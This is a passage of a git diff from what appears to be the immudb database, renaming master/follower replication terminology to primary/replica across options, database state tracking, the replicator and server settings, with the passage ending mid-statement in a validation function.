pkg/server/options_test.go | 16 +-- pkg/server/server.go | 10 +- 11 files changed, 227 insertions(+), 227 deletions(-) diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 58aa42fa66..3da6c74acf 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -36,10 +36,10 @@ func parseOptions() (options *server.Options, err error) { if replicationOptions.IsReplica { replicationOptions. - WithMasterAddress(viper.GetString("replication-primary-host")). - WithMasterPort(viper.GetInt("replication-primary-port")). - WithFollowerUsername(viper.GetString("replication-primary-username")). - WithFollowerPassword(viper.GetString("replication-primary-password")). + WithPrimaryHost(viper.GetString("replication-primary-host")). + WithPrimaryPort(viper.GetInt("replication-primary-port")). + WithPrimaryUsername(viper.GetString("replication-primary-username")). + WithPrimaryPassword(viper.GetString("replication-primary-password")). WithPrefetchTxBufferSize(viper.GetInt("replication-prefetch-tx-buffer-size")). WithReplicationCommitConcurrency(viper.GetInt("replication-commit-concurrency")). WithAllowTxDiscarding(viper.GetBool("replication-allow-tx-discarding")) diff --git a/pkg/database/database.go b/pkg/database/database.go index ed0ebee96f..95971acd18 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -48,7 +48,7 @@ var ErrIllegalArguments = store.ErrIllegalArguments var ErrIllegalState = store.ErrIllegalState var ErrIsReplica = errors.New("database is read-only because it's a replica") var ErrNotReplica = errors.New("database is NOT a replica") -var ErrFollowerDivergedFromMaster = errors.New("follower diverged from master") +var ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") var ErrInvalidRevision = errors.New("invalid key revision number") type DB interface { @@ -141,7 +141,7 @@ type DB interface { type uuid = string -type followerState struct { +type replicaState struct { precommittedTxID uint64 precommittedAlh [sha256.Size]byte } @@ -166,8 +166,8 @@ type db struct { txPool store.TxPool - followerStates map[uuid]*followerState - followerStatesMutex sync.Mutex + replicaStates map[uuid]*replicaState + replicaStatesMutex sync.Mutex } // OpenDB Opens an existing Database from disk @@ -178,19 +178,19 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l log.Infof("Opening database '%s' {replica = %v}...", dbName, op.replica) - var followerStates map[uuid]*followerState - // follower states are only managed in master with synchronous replication + var replicaStates map[uuid]*replicaState + // replica states are only managed in primary with synchronous replication if !op.replica && op.syncAcks > 0 { - followerStates = make(map[uuid]*followerState, op.syncAcks) + replicaStates = make(map[uuid]*replicaState, op.syncAcks) } dbi := &db{ - Logger: log, - options: op, - name: dbName, - followerStates: followerStates, - maxResultSize: MaxKeyScanLimit, - mutex: &instrumentedRWMutex{}, + Logger: log, + options: op, + name: dbName, + replicaStates: replicaStates, + maxResultSize: MaxKeyScanLimit, + mutex: &instrumentedRWMutex{}, } dbDir := dbi.Path() @@ -288,19 +288,19 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo log.Infof("Creating database '%s' {replica = %v}...", dbName, op.replica) - var followerStates map[uuid]*followerState - // follower states are only managed in master with synchronous replication + var replicaStates map[uuid]*replicaState + // replica states are only managed in primary with synchronous replication if !op.replica && op.syncAcks > 0 { - followerStates = make(map[uuid]*followerState, op.syncAcks) + replicaStates = make(map[uuid]*replicaState, op.syncAcks) } dbi := &db{ - Logger: log, - options: op, - name: dbName, - followerStates: followerStates, - maxResultSize: MaxKeyScanLimit, - mutex: &instrumentedRWMutex{}, + Logger: log, + options: op, + name: dbName, + replicaStates: replicaStates, + maxResultSize: MaxKeyScanLimit, + mutex: &instrumentedRWMutex{}, } dbDir := filepath.Join(op.GetDBRootPath(), dbName) @@ -1171,57 +1171,57 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna return stx, nil } -func (d *db) mayUpdateFollowerState(committedTxID uint64, newFollowerState *schema.ReplicaState) error { - d.followerStatesMutex.Lock() - defer d.followerStatesMutex.Unlock() +func (d *db) mayUpdateReplicaState(committedTxID uint64, newReplicaState *schema.ReplicaState) error { + d.replicaStatesMutex.Lock() + defer d.replicaStatesMutex.Unlock() - // clean up followerStates - // it's safe to remove up to latest tx committed in master - for uuid, st := range d.followerStates { + // clean up replicaStates + // it's safe to remove up to latest tx committed in primary + for uuid, st := range d.replicaStates { if st.precommittedTxID <= committedTxID { - delete(d.followerStates, uuid) + delete(d.replicaStates, uuid) } } - if newFollowerState.PrecommittedTxID <= committedTxID { - // as far as the master is concerned, nothing really new has happened + if newReplicaState.PrecommittedTxID <= committedTxID { + // as far as the primary is concerned, nothing really new has happened return nil } - newFollowerAlh := schema.DigestFromProto(newFollowerState.PrecommittedAlh) + newReplicaAlh := schema.DigestFromProto(newReplicaState.PrecommittedAlh) - followerSt, ok := d.followerStates[newFollowerState.UUID] + replicaSt, ok := d.replicaStates[newReplicaState.UUID] if ok { - if newFollowerState.PrecommittedTxID < followerSt.precommittedTxID { - return fmt.Errorf("%w: the newly informed follower state lags behind the previously informed one", ErrIllegalArguments) + if newReplicaState.PrecommittedTxID < replicaSt.precommittedTxID { + return fmt.Errorf("%w: the newly informed replica state lags behind the previously informed one", ErrIllegalArguments) } - if newFollowerState.PrecommittedTxID == followerSt.precommittedTxID { - // as of the last informed follower status update, nothing has changed + if newReplicaState.PrecommittedTxID == replicaSt.precommittedTxID { + // as of the last informed replica status update, nothing has changed return nil } - // actual replication progress is informed by the follower - followerSt.precommittedTxID = newFollowerState.PrecommittedTxID - followerSt.precommittedAlh = newFollowerAlh + // actual replication progress is informed by the replica + replicaSt.precommittedTxID = newReplicaState.PrecommittedTxID + replicaSt.precommittedAlh = newReplicaAlh } else { - // follower informs first replication state - d.followerStates[newFollowerState.UUID] = &followerState{ - precommittedTxID: newFollowerState.PrecommittedTxID, - precommittedAlh: newFollowerAlh, + // replica informs first replication state + d.replicaStates[newReplicaState.UUID] = &replicaState{ + precommittedTxID: newReplicaState.PrecommittedTxID, + precommittedAlh: newReplicaAlh, } } - // check up to which tx enough followers ack replication and it's safe to commit + // check up to which tx enough replicas ack replication and it's safe to commit mayCommitUpToTxID := uint64(0) - if len(d.followerStates) > 0 { + if len(d.replicaStates) > 0 { mayCommitUpToTxID = math.MaxUint64 } allowances := 0 - // we may clean up followerStates from those who are lagging behind commit - for _, st := range d.followerStates { + // we may clean up replicaStates from those who are lagging behind commit + for _, st := range d.replicaStates { if st.precommittedTxID < mayCommitUpToTxID { mayCommitUpToTxID = st.precommittedTxID } @@ -1244,8 +1244,8 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp return nil, 0, mayCommitUpToAlh, ErrIllegalArguments } - if d.followerStates == nil && req.ReplicaState != nil { - return nil, 0, mayCommitUpToAlh, fmt.Errorf("%w: follower state was NOT expected", ErrIllegalState) + if d.replicaStates == nil && req.ReplicaState != nil { + return nil, 0, mayCommitUpToAlh, fmt.Errorf("%w: replica state was NOT expected", ErrIllegalState) } tx, err := d.allocTx() @@ -1259,68 +1259,68 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp if req.ReplicaState != nil { if req.ReplicaState.CommittedTxID > 0 { - // validate follower commit state + // validate replica commit state if req.ReplicaState.CommittedTxID > committedTxID { return nil, committedTxID, committedAlh, - fmt.Errorf("%w: follower commit state diverged from master's", ErrFollowerDivergedFromMaster) + fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) } - expectedFollowerCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false) + expectedReplicaCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false) if err != nil { return nil, committedTxID, committedAlh, err } - followerCommittedAlh := schema.DigestFromProto(req.ReplicaState.CommittedAlh) + replicaCommittedAlh := schema.DigestFromProto(req.ReplicaState.CommittedAlh) - if expectedFollowerCommitHdr.Alh() != followerCommittedAlh { - return nil, expectedFollowerCommitHdr.ID, expectedFollowerCommitHdr.Alh(), - fmt.Errorf("%w: follower commit state diverged from master's", ErrFollowerDivergedFromMaster) + if expectedReplicaCommitHdr.Alh() != replicaCommittedAlh { + return nil, expectedReplicaCommitHdr.ID, expectedReplicaCommitHdr.Alh(), + fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) } } if req.ReplicaState.PrecommittedTxID > 0 { - // validate follower precommit state + // validate replica precommit state if req.ReplicaState.PrecommittedTxID > preCommittedTxID { return nil, committedTxID, committedAlh, - fmt.Errorf("%w: follower precommit state diverged from master's", ErrFollowerDivergedFromMaster) + fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) } - expectedFollowerPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true) + expectedReplicaPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true) if err != nil { return nil, committedTxID, committedAlh, err } - followerPreCommittedAlh := schema.DigestFromProto(req.ReplicaState.PrecommittedAlh) + replicaPreCommittedAlh := schema.DigestFromProto(req.ReplicaState.PrecommittedAlh) - if expectedFollowerPrecommitHdr.Alh() != followerPreCommittedAlh { - return nil, expectedFollowerPrecommitHdr.ID, expectedFollowerPrecommitHdr.Alh(), - fmt.Errorf("%w: follower precommit state diverged from master's", ErrFollowerDivergedFromMaster) + if expectedReplicaPrecommitHdr.Alh() != replicaPreCommittedAlh { + return nil, expectedReplicaPrecommitHdr.ID, expectedReplicaPrecommitHdr.Alh(), + fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) } - // master will provide commit state to the follower so it can commit pre-committed transactions + // primary will provide commit state to the replica so it can commit pre-committed transactions if req.ReplicaState.PrecommittedTxID < committedTxID { - // if follower is behind current commit state in master - // return the alh up to the point known by the follower. - // That way the follower is able to validate is following the right master. + // if replica is behind current commit state in primary + // return the alh up to the point known by the replica. + // That way the replica is able to validate is following the right primary. mayCommitUpToTxID = req.ReplicaState.PrecommittedTxID - mayCommitUpToAlh = followerPreCommittedAlh + mayCommitUpToAlh = replicaPreCommittedAlh } else { mayCommitUpToTxID = committedTxID mayCommitUpToAlh = committedAlh } } - err = d.mayUpdateFollowerState(committedTxID, req.ReplicaState) + err = d.mayUpdateReplicaState(committedTxID, req.ReplicaState) if err != nil { return nil, mayCommitUpToTxID, mayCommitUpToAlh, err } } - // it might be the case master will commit some txs (even there could be inmem-precommitted txs) + // it might be the case primary will commit some txs (even there could be inmem-precommitted txs) // current timeout it's not a special value but at least a relative one - // note: master might also be waiting ack from any follower (even this follower may do progress) + // note: primary might also be waiting ack from any replica (even this primary may do progress) - // TODO: under some circumstances, follower might not be able to do further progress until master + // TODO: under some circumstances, replica might not be able to do further progress until primary // has made changes, such wait doesn't need to have a timeout, reducing networking and CPU utilization ctx, cancel := context.WithTimeout(context.Background(), d.options.storeOpts.SyncFrequency*4) defer cancel() @@ -1357,7 +1357,7 @@ func (d *db) ReplicateTx(exportedTx []byte) (*schema.TxHeader, error) { return schema.TxHeaderToProto(hdr), nil } -// AllowCommitUpto is used by followers to commit transactions once committed in master +// AllowCommitUpto is used by replicas to commit transactions once committed in primary func (d *db) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error { d.mutex.RLock() defer d.mutex.RUnlock() @@ -1366,13 +1366,13 @@ func (d *db) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error { return ErrNotReplica } - // follower pre-committed state must be consistent with master + // replica pre-committed state must be consistent with primary committedTxID, committedAlh := d.st.CommittedAlh() // handling a particular case in an optimized manner if committedTxID == txID { if committedAlh != alh { - return fmt.Errorf("%w: follower commit state diverged from master's", ErrIllegalState) + return fmt.Errorf("%w: replica commit state diverged from primary's", ErrIllegalState) } return nil } @@ -1383,7 +1383,7 @@ func (d *db) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error { } if hdr.Alh() != alh { - return fmt.Errorf("%w: follower commit state diverged from master's", ErrIllegalState) + return fmt.Errorf("%w: replica commit state diverged from primary's", ErrIllegalState) } return d.st.AllowCommitUpto(txID) @@ -1668,17 +1668,17 @@ func (d *db) AsReplica(asReplica, syncReplication bool, syncAcks int) { d.mutex.Lock() defer d.mutex.Unlock() - d.followerStatesMutex.Lock() - defer d.followerStatesMutex.Unlock() + d.replicaStatesMutex.Lock() + defer d.replicaStatesMutex.Unlock() d.options.replica = asReplica d.options.syncAcks = syncAcks d.options.syncReplication = syncReplication if asReplica { - d.followerStates = nil + d.replicaStates = nil } else if syncAcks > 0 { - d.followerStates = make(map[uuid]*followerState, syncAcks) + d.replicaStates = make(map[uuid]*replicaState, syncAcks) } d.st.SetExternalCommitAllowance(syncReplication) diff --git a/pkg/replication/options.go b/pkg/replication/options.go index b80d1ac7a7..825d52b615 100644 --- a/pkg/replication/options.go +++ b/pkg/replication/options.go @@ -24,11 +24,11 @@ const DefaultReplicationCommitConcurrency int = 10 const DefaultAllowTxDiscarding = false type Options struct { - masterDatabase string - masterAddress string - masterPort int - followerUsername string - followerPassword string + primaryDatabase string + primaryHost string + primaryPort int + primaryUsername string + primaryPassword string streamChunkSize int @@ -65,33 +65,33 @@ func (opts *Options) Valid() bool { opts.delayer != nil } -// WithMasterDatabase sets the source database name -func (o *Options) WithMasterDatabase(masterDatabase string) *Options { - o.masterDatabase = masterDatabase +// WithPrimaryDatabase sets the source database name +func (o *Options) WithPrimaryDatabase(primaryDatabase string) *Options { + o.primaryDatabase = primaryDatabase return o } -// WithMasterAddress sets the source database address -func (o *Options) WithMasterAddress(masterAddress string) *Options { - o.masterAddress = masterAddress +// WithPrimaryHost sets the source database address +func (o *Options) WithPrimaryHost(primaryHost string) *Options { + o.primaryHost = primaryHost return o } -// WithMasterPort sets the source database port -func (o *Options) WithMasterPort(masterPort int) *Options { - o.masterPort = masterPort +// WithPrimaryPort sets the source database port +func (o *Options) WithPrimaryPort(primaryPort int) *Options { + o.primaryPort = primaryPort return o } -// WithFollowerUsername sets username used for replication -func (o *Options) WithFollowerUsername(followerUsername string) *Options { - o.followerUsername = followerUsername +// WithPrimaryUsername sets username used for replication +func (o *Options) WithPrimaryUsername(primaryUsername string) *Options { + o.primaryUsername = primaryUsername return o } -// WithFollowerPassword sets password used for replication -func (o *Options) WithFollowerPassword(followerPassword string) *Options { - o.followerPassword = followerPassword +// WithPrimaryPassword sets password used for replication +func (o *Options) WithPrimaryPassword(primaryPassword string) *Options { + o.primaryPassword = primaryPassword return o } diff --git a/pkg/replication/options_test.go b/pkg/replication/options_test.go index a82cef2626..d5038b360f 100644 --- a/pkg/replication/options_test.go +++ b/pkg/replication/options_test.go @@ -34,22 +34,22 @@ func TestOptions(t *testing.T) { retryJitter: 0.1, } - opts.WithMasterDatabase("defaultdb"). - WithMasterAddress("127.0.0.1"). - WithMasterPort(3322). - WithFollowerUsername("immudbUsr"). - WithFollowerPassword("immdubPwd"). + opts.WithPrimaryDatabase("defaultdb"). + WithPrimaryHost("127.0.0.1"). + WithPrimaryPort(3322). + WithPrimaryUsername("immudbUsr"). + WithPrimaryPassword("immdubPwd"). WithStreamChunkSize(DefaultChunkSize). WithPrefetchTxBufferSize(DefaultPrefetchTxBufferSize). WithReplicationCommitConcurrency(DefaultReplicationCommitConcurrency). WithAllowTxDiscarding(true). WithDelayer(delayer) - require.Equal(t, "defaultdb", opts.masterDatabase) - require.Equal(t, "127.0.0.1", opts.masterAddress) - require.Equal(t, 3322, opts.masterPort) - require.Equal(t, "immudbUsr", opts.followerUsername) - require.Equal(t, "immdubPwd", opts.followerPassword) + require.Equal(t, "defaultdb", opts.primaryDatabase) + require.Equal(t, "127.0.0.1", opts.primaryHost) + require.Equal(t, 3322, opts.primaryPort) + require.Equal(t, "immudbUsr", opts.primaryUsername) + require.Equal(t, "immdubPwd", opts.primaryPassword) require.Equal(t, DefaultChunkSize, opts.streamChunkSize) require.Equal(t, DefaultPrefetchTxBufferSize, opts.prefetchTxBufferSize) require.Equal(t, DefaultReplicationCommitConcurrency, opts.replicationCommitConcurrency) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 5fd8e766bc..916d20c848 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -38,8 +38,8 @@ import ( var ErrIllegalArguments = errors.New("illegal arguments") var ErrAlreadyRunning = errors.New("already running") var ErrAlreadyStopped = errors.New("already stopped") -var ErrFollowerDivergedFromMaster = errors.New("follower diverged from master") -var ErrNoSynchronousReplicationOnMaster = errors.New("master is not running with synchronous replication") +var ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") +var ErrNoSynchronousReplicationOnPrimary = errors.New("primary is not running with synchronous replication") var ErrInvalidReplicationMetadata = errors.New("invalid replication metadata retrieved") type prefetchTxEntry struct { @@ -53,7 +53,7 @@ type TxReplicator struct { db database.DB opts *Options - _masterDB string // just a string denoting master database i.e. db@address:port + _primaryDB string // just a string denoting primary database i.e. db@host:port logger logger.Logger @@ -91,7 +91,7 @@ func NewTxReplicator(uuid xid.ID, db database.DB, opts *Options, logger logger.L db: db, opts: opts, logger: logger, - _masterDB: fullAddress(opts.masterDatabase, opts.masterAddress, opts.masterPort), + _primaryDB: fullAddress(opts.primaryDatabase, opts.primaryHost, opts.primaryPort), streamSrvFactory: stream.NewStreamServiceFactory(opts.streamChunkSize), prefetchTxBuffer: make(chan prefetchTxEntry, opts.prefetchTxBufferSize), replicationConcurrency: opts.replicationCommitConcurrency, @@ -110,7 +110,7 @@ func (txr *TxReplicator) handleError(err error) (terminate bool) { return false } - if errors.Is(err, ErrAlreadyStopped) || errors.Is(err, ErrFollowerDivergedFromMaster) { + if errors.Is(err, ErrAlreadyStopped) || errors.Is(err, ErrReplicaDivergedFromPrimary) { return true } @@ -118,7 +118,7 @@ func (txr *TxReplicator) handleError(err error) (terminate bool) { txr.logger.Infof("Replication error on database '%s' from '%s' (%d consecutive failures). Reason: %s", txr.db.GetName(), - txr._masterDB, + txr._primaryDB, txr.consecutiveFailures, err.Error()) @@ -147,14 +147,14 @@ func (txr *TxReplicator) Start() error { return ErrAlreadyRunning } - txr.logger.Infof("Initializing replication from '%s' to '%s'...", txr._masterDB, txr.db.GetName()) + txr.logger.Infof("Initializing replication from '%s' to '%s'...", txr._primaryDB, txr.db.GetName()) txr.context, txr.cancelFunc = context.WithCancel(context.Background()) txr.running = true go func() { - txr.logger.Infof("Replication for '%s' started fetching transaction from '%s'...", txr.db.GetName(), txr._masterDB) + txr.logger.Infof("Replication for '%s' started fetching transaction from '%s'...", txr.db.GetName(), txr._primaryDB) var err error @@ -165,9 +165,9 @@ func (txr *TxReplicator) Start() error { } } - txr.logger.Infof("Replication for '%s' stopped fetching transaction from '%s'", txr.db.GetName(), txr._masterDB) + txr.logger.Infof("Replication for '%s' stopped fetching transaction from '%s'", txr.db.GetName(), txr._primaryDB) - if errors.Is(err, ErrFollowerDivergedFromMaster) { + if errors.Is(err, ErrReplicaDivergedFromPrimary) { txr.Stop() } }() @@ -189,7 +189,7 @@ func (txr *TxReplicator) Start() error { }() } - txr.logger.Infof("Replication from '%s' to '%s' successfully initialized", txr._masterDB, txr.db.GetName()) + txr.logger.Infof("Replication from '%s' to '%s' successfully initialized", txr._primaryDB, txr.db.GetName()) return nil } @@ -215,7 +215,7 @@ func (txr *TxReplicator) replicateSingleTx(data []byte) bool { break // transaction successfully replicated } - txr.logger.Infof("Failed to replicate transaction from '%s' to '%s'. Reason: %s", txr._masterDB, txr.db.GetName(), err.Error()) + txr.logger.Infof("Failed to replicate transaction from '%s' to '%s'. Reason: %s", txr._primaryDB, txr.db.GetName(), err.Error()) consecutiveFailures++ @@ -249,22 +249,22 @@ func fullAddress(db, address string, port int) string { func (txr *TxReplicator) connect() error { txr.logger.Infof("Connecting to '%s':'%d' for database '%s'...", - txr.opts.masterAddress, - txr.opts.masterPort, + txr.opts.primaryHost, + txr.opts.primaryPort, txr.db.GetName()) - opts := client.DefaultOptions().WithAddress(txr.opts.masterAddress).WithPort(txr.opts.masterPort) + opts := client.DefaultOptions().WithAddress(txr.opts.primaryHost).WithPort(txr.opts.primaryPort) txr.client = client.NewClient().WithOptions(opts) err := txr.client.OpenSession( - txr.context, []byte(txr.opts.followerUsername), []byte(txr.opts.followerPassword), txr.opts.masterDatabase) + txr.context, []byte(txr.opts.primaryUsername), []byte(txr.opts.primaryPassword), txr.opts.primaryDatabase) if err != nil { return err } txr.logger.Infof("Connection to '%s':'%d' for database '%s' successfully established", - txr.opts.masterAddress, - txr.opts.masterPort, + txr.opts.primaryHost, + txr.opts.primaryPort, txr.db.GetName()) return nil @@ -275,13 +275,13 @@ func (txr *TxReplicator) disconnect() { return } - txr.logger.Infof("Disconnecting from '%s':'%d' for database '%s'...", txr.opts.masterAddress, txr.opts.masterPort, txr.db.GetName()) + txr.logger.Infof("Disconnecting from '%s':'%d' for database '%s'...", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName()) txr.client.CloseSession(txr.context) txr.client = nil - txr.logger.Infof("Disconnected from '%s':'%d' for database '%s'", txr.opts.masterAddress, txr.opts.masterPort, txr.db.GetName()) + txr.logger.Infof("Disconnected from '%s':'%d' for database '%s'", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName()) } func (txr *TxReplicator) fetchNextTx() error { @@ -337,16 +337,16 @@ func (txr *TxReplicator) fetchNextTx() error { etx, err := receiver.ReadFully() if err != nil && !errors.Is(err, io.EOF) { - if strings.Contains(err.Error(), "follower commit state diverged from master's") { - txr.logger.Errorf("follower commit state at '%s' diverged from master's", txr.db.GetName()) - return ErrFollowerDivergedFromMaster + if strings.Contains(err.Error(), "commit state diverged from") { + txr.logger.Errorf("replica commit state at '%s' diverged from primary's", txr.db.GetName()) + return ErrReplicaDivergedFromPrimary } - if strings.Contains(err.Error(), "follower precommit state diverged from master's") { + if strings.Contains(err.Error(), "precommit state diverged from") { if !txr.allowTxDiscarding { - txr.logger.Errorf("follower precommit state at '%s' diverged from master's", txr.db.GetName()) - return ErrFollowerDivergedFromMaster + txr.logger.Errorf("replica precommit state at '%s' diverged from primary's", txr.db.GetName()) + return ErrReplicaDivergedFromPrimary } txr.logger.Infof("discarding precommit txs since %d from '%s'. Reason: %s", nextTx, txr.db.GetName(), err.Error()) @@ -372,7 +372,7 @@ func (txr *TxReplicator) fetchNextTx() error { if len(md.Get("may-commit-up-to-txid-bin")) == 0 || len(md.Get("may-commit-up-to-alh-bin")) == 0 || len(md.Get("committed-txid-bin")) == 0 { - return ErrNoSynchronousReplicationOnMaster + return ErrNoSynchronousReplicationOnPrimary } if len(md.Get("may-commit-up-to-txid-bin")[0]) != 8 || @@ -393,9 +393,9 @@ func (txr *TxReplicator) fetchNextTx() error { if mayCommitUpToTxID > commitState.TxId { err = txr.db.AllowCommitUpto(mayCommitUpToTxID, mayCommitUpToAlh) if err != nil { - if strings.Contains(err.Error(), "follower commit state diverged from master's") { - txr.logger.Errorf("follower commit state at '%s' diverged from master's", txr.db.GetName()) - return ErrFollowerDivergedFromMaster + if strings.Contains(err.Error(), "commit state diverged from") { + txr.logger.Errorf("replica commit state at '%s' diverged from primary's", txr.db.GetName()) + return ErrReplicaDivergedFromPrimary } return err @@ -404,7 +404,7 @@ func (txr *TxReplicator) fetchNextTx() error { } if len(etx) > 0 { - // in some cases the transaction is not provided but only the master commit state + // in some cases the transaction is not provided but only the primary commit state txr.prefetchTxBuffer <- prefetchTxEntry{ data: etx, addedAt: time.Now(), diff --git a/pkg/replication/replicator_test.go b/pkg/replication/replicator_test.go index f0ef1f0e9f..13688e95cc 100644 --- a/pkg/replication/replicator_test.go +++ b/pkg/replication/replicator_test.go @@ -36,11 +36,11 @@ func TestReplication(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) rOpts := DefaultOptions(). - WithMasterDatabase("defaultdb"). - WithMasterAddress("127.0.0.1"). - WithMasterPort(3322). - WithFollowerUsername("immudb"). - WithFollowerPassword("immudb"). + WithPrimaryDatabase("defaultdb"). + WithPrimaryHost("127.0.0.1"). + WithPrimaryPort(3322). + WithPrimaryUsername("immudb"). + WithPrimaryPassword("immudb"). WithStreamChunkSize(DefaultChunkSize) logger := logger.NewSimpleLogger("logger", os.Stdout) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 423165d112..e9e6d7772b 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -37,14 +37,14 @@ type dbOptions struct { synced bool // currently a global immudb instance option SyncFrequency Milliseconds `json:"syncFrequency"` // ms - // replication options + // replication options (field names must be kept for backwards compatibility) Replica bool `json:"replica"` SyncReplication bool `json:"syncReplication"` - MasterDatabase string `json:"masterDatabase"` - MasterAddress string `json:"masterAddress"` - MasterPort int `json:"masterPort"` - FollowerUsername string `json:"followerUsername"` - FollowerPassword string `json:"followerPassword"` + PrimaryDatabase string `json:"masterDatabase"` + PrimaryHost string `json:"masterAddress"` + PrimaryPort int `json:"masterPort"` + PrimaryUsername string `json:"followerUsername"` + PrimaryPassword string `json:"followerPassword"` SyncAcks int `json:"syncAcks"` PrefetchTxBufferSize int `json:"prefetchTxBufferSize"` ReplicationCommitConcurrency int `json:"replicationCommitConcurrency"` @@ -160,11 +160,11 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { dbOpts.SyncReplication = repOpts.SyncReplication if dbOpts.Replica { - dbOpts.MasterDatabase = dbOpts.Database // replica of systemdb and defaultdb must have the same name as in master - dbOpts.MasterAddress = repOpts.MasterAddress - dbOpts.MasterPort = repOpts.MasterPort - dbOpts.FollowerUsername = repOpts.FollowerUsername - dbOpts.FollowerPassword = repOpts.FollowerPassword + dbOpts.PrimaryDatabase = dbOpts.Database // replica of systemdb and defaultdb must have the same name as in primary + dbOpts.PrimaryHost = repOpts.PrimaryHost + dbOpts.PrimaryPort = repOpts.PrimaryPort + dbOpts.PrimaryUsername = repOpts.PrimaryUsername + dbOpts.PrimaryPassword = repOpts.PrimaryPassword dbOpts.PrefetchTxBufferSize = repOpts.PrefetchTxBufferSize dbOpts.ReplicationCommitConcurrency = repOpts.ReplicationCommitConcurrency dbOpts.AllowTxDiscarding = repOpts.AllowTxDiscarding @@ -271,11 +271,11 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: opts.Replica}, SyncReplication: &schema.NullableBool{Value: opts.SyncReplication}, - PrimaryDatabase: &schema.NullableString{Value: opts.MasterDatabase}, - PrimaryHost: &schema.NullableString{Value: opts.MasterAddress}, - PrimaryPort: &schema.NullableUint32{Value: uint32(opts.MasterPort)}, - PrimaryUsername: &schema.NullableString{Value: opts.FollowerUsername}, - PrimaryPassword: &schema.NullableString{Value: opts.FollowerPassword}, + PrimaryDatabase: &schema.NullableString{Value: opts.PrimaryDatabase}, + PrimaryHost: &schema.NullableString{Value: opts.PrimaryHost}, + PrimaryPort: &schema.NullableUint32{Value: uint32(opts.PrimaryPort)}, + PrimaryUsername: &schema.NullableString{Value: opts.PrimaryUsername}, + PrimaryPassword: &schema.NullableString{Value: opts.PrimaryPassword}, SyncAcks: &schema.NullableUint32{Value: uint32(opts.SyncAcks)}, PrefetchTxBufferSize: &schema.NullableUint32{Value: uint32(opts.PrefetchTxBufferSize)}, ReplicationCommitConcurrency: &schema.NullableUint32{Value: uint32(opts.ReplicationCommitConcurrency)}, @@ -423,29 +423,29 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul opts.SyncAcks = 0 } if rs.PrimaryDatabase != nil { - opts.MasterDatabase = rs.PrimaryDatabase.Value + opts.PrimaryDatabase = rs.PrimaryDatabase.Value } else if !opts.Replica { - opts.MasterDatabase = "" + opts.PrimaryDatabase = "" } if rs.PrimaryHost != nil { - opts.MasterAddress = rs.PrimaryHost.Value + opts.PrimaryHost = rs.PrimaryHost.Value } else if !opts.Replica { - opts.MasterAddress = "" + opts.PrimaryHost = "" } if rs.PrimaryPort != nil { - opts.MasterPort = int(rs.PrimaryPort.Value) + opts.PrimaryPort = int(rs.PrimaryPort.Value) } else if !opts.Replica { - opts.MasterPort = 0 + opts.PrimaryPort = 0 } if rs.PrimaryUsername != nil { - opts.FollowerUsername = rs.PrimaryUsername.Value + opts.PrimaryUsername = rs.PrimaryUsername.Value } else if !opts.Replica { - opts.FollowerUsername = "" + opts.PrimaryUsername = "" } if rs.PrimaryPassword != nil { - opts.FollowerPassword = rs.PrimaryPassword.Value + opts.PrimaryPassword = rs.PrimaryPassword.Value } else if !opts.Replica { - opts.FollowerPassword = "" + opts.PrimaryPassword = "" } if rs.PrefetchTxBufferSize != nil { opts.PrefetchTxBufferSize = int(rs.PrefetchTxBufferSize.Value) @@ -623,67 +623,67 @@ func (opts *dbOptions) Validate() error { } else { if opts.SyncAcks < 0 { return fmt.Errorf( - "%w: invalid value for replication option SyncAcks on master database '%s'", + "%w: invalid value for replication option SyncAcks on primary database '%s'", ErrIllegalArguments, opts.Database) } - if opts.MasterDatabase != "" { + if opts.PrimaryDatabase != "" { return fmt.Errorf( - "%w: invalid value for replication option MasterDatabase on master database '%s'", + "%w: invalid value for replication option PrimaryDatabase on primary database '%s'", ErrIllegalArguments, opts.Database) } - if opts.MasterAddress != "" { + if opts.PrimaryHost != "" { return fmt.Errorf( - "%w: invalid value for replication option MasterAddress on master database '%s'", + "%w: invalid value for replication option PrimaryHost on primary database '%s'", ErrIllegalArguments, opts.Database) } - if opts.MasterPort > 0 { + if opts.PrimaryPort > 0 { return fmt.Errorf( - "%w: invalid value for replication option MasterPort on master database '%s'", + "%w: invalid value for replication option PrimaryPort on primary database '%s'", ErrIllegalArguments, opts.Database) } - if opts.FollowerUsername != "" { + if opts.PrimaryUsername != "" { return fmt.Errorf( - "%w: invalid value for 